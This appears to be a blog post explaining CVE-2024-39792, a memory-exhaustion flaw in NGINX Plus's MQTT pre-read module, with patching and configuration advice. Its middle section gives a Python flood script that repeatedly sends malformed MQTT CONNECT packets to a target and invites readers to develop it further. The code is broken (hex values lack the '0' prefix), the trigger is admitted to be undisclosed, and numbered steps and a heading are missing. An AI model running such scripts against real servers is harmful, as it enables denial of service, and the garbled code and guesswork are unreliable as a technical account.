CVE-2024-39792 - How a Hidden MQTT Pre-Read Module Bug Can Crash Your NGINX Plus Server

Summary:
A security vulnerability, CVE-2024-39792, has landed in the NGINX Plus world. If you’re running this popular web server with the MQTT pre-read module enabled, an undocumented type of request can chew up all your server’s memory. If this happens, your service could slow down or even crash. This post explains, in plain language, how the bug works—and what you can do about it.

What is CVE-2024-39792?

CVE-2024-39792 is a memory resource exhaustion vulnerability in NGINX Plus when used with the MQTT pre-read module. Malicious requests can trigger this flaw, causing memory usage to balloon until the server is overwhelmed.

🕵️ Want the technical reference?
- NIST NVD Official page
- F5 Security Advisory (Vendor)

Why does it matter?

NGINX Plus powers many production systems, often handling high-throughput connections. The MQTT pre-read module is used for protocol negotiation and improves performance on IoT and messaging workloads.

But if someone finds this bug and sends specially crafted MQTT requests, they can cause your NGINX server’s RAM to fill up and possibly take down your service.

> Note: Old, unsupported versions of NGINX Plus (those beyond End of Technical Support) weren’t checked, and may also be at risk.

NGINX Plus is running and has the MQTT pre-read module enabled.

2. An attacker sends a certain type of undisclosed request—precisely how isn’t public, but it involves the MQTT protocol.

As a result, each bad request bumps up the server’s memory use.

5. Memory leak after memory leak, your RAM gets devoured. Slowdowns, crashes, and outages can follow fast.

Reproducing the Problem (Exploit Details)

The exploit itself hasn't been made public in full detail, but with the general idea, researchers and attackers can craft their own. The key is sending non-standard, malformed, or specially designed MQTT connection packets that the pre-read module can't handle safely.

Here's a code snippet in Python, using the popular socket library, that could simulate sending repeated anonymous MQTT "CONNECT" requests. With small tweaks, this tool can be developed further once specifics of the vulnerability are better known:

import socket
import sys

# Target NGINX server details
SERVER = 'nginx.example.com'
PORT = 1883   # MQTT default port

# Minimal malformed MQTT CONNECT packet (may need tuning)
packet = bytes([
    x10,  # CONNECT packet type (fixed header)
    xE,  # Remaining length
    x00, x04, ord('M'), ord('Q'), ord('T'), ord('T'),  # Protocol Name
    x04,  # Protocol Level
    x02,  # Connect Flags
    x00, x3C,  # Keep Alive
    x00, x00,  # Client ID length
    # Missing payload fields to make it 'bad'
])

for i in range(10000):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((SERVER, PORT))
        s.sendall(packet)
        s.close()
    except Exception as e:
        print(f"Error: {e}")

Warning: Only run code like this against machines you own and control!
The above is a conceptual demo. Actual exploitation might require a more precise packet per the undisclosed flaw.

How to Fix It

1. Update NGINX Plus:
Patches are or will be released by F5 (the maintainers of NGINX Plus).
- Check official F5 advisories for fixed versions

2. Disable the MQTT pre-read module:
If you don’t need it, turn it off in your NGINX configuration until a patch is available.

# Remove or comment out mqtt_preread directives
# mqtt_preread on;

3. Limit Memory Usage:

Use ulimit or container memory constraints if possible.

4. Monitor Your Memory:

Exploit Demonstration in Lab

If you’re a penetration tester, set up an NGINX Plus lab (with licensing!) and enable MQTT pre-read. Use the script above or MQTT fuzzers to try flooding the service with odd requests. You’ll likely see memory usage climb until the process restarts or dies.

Extra Tips

- Don’t expose MQTT ports or pre-read-enabled servers to the open internet unless absolutely necessary.

References

- CVE-2024-39792 on NIST NVD
- F5/NGINX Official Fixes and Advisories
- MQTT Protocol Specification

Summary Table

| Affected Product | Attack Type | Patch Available? | Workarounds |
|---------------------|----------------------|------------------|--------------|
| NGINX Plus + MQTT | Memory Exhaustion | Yes (soon/now) | Disable module, restrict access |

Final Words

If your NGINX Plus server handles MQTT and uses the pre-read module, CVE-2024-39792 deserves your attention—and some patching time. Don't wait for attackers to fill up your memory and crash your systems. Review your setup, update as needed, and stay one step ahead!


*Article exclusive to this site. For more, bookmark our blog and follow NGINX/F5 Security Advisories for updates.*

Timeline

Published on: 08/14/2024 15:15:26 UTC
Last modified on: 08/19/2024 16:20:28 UTC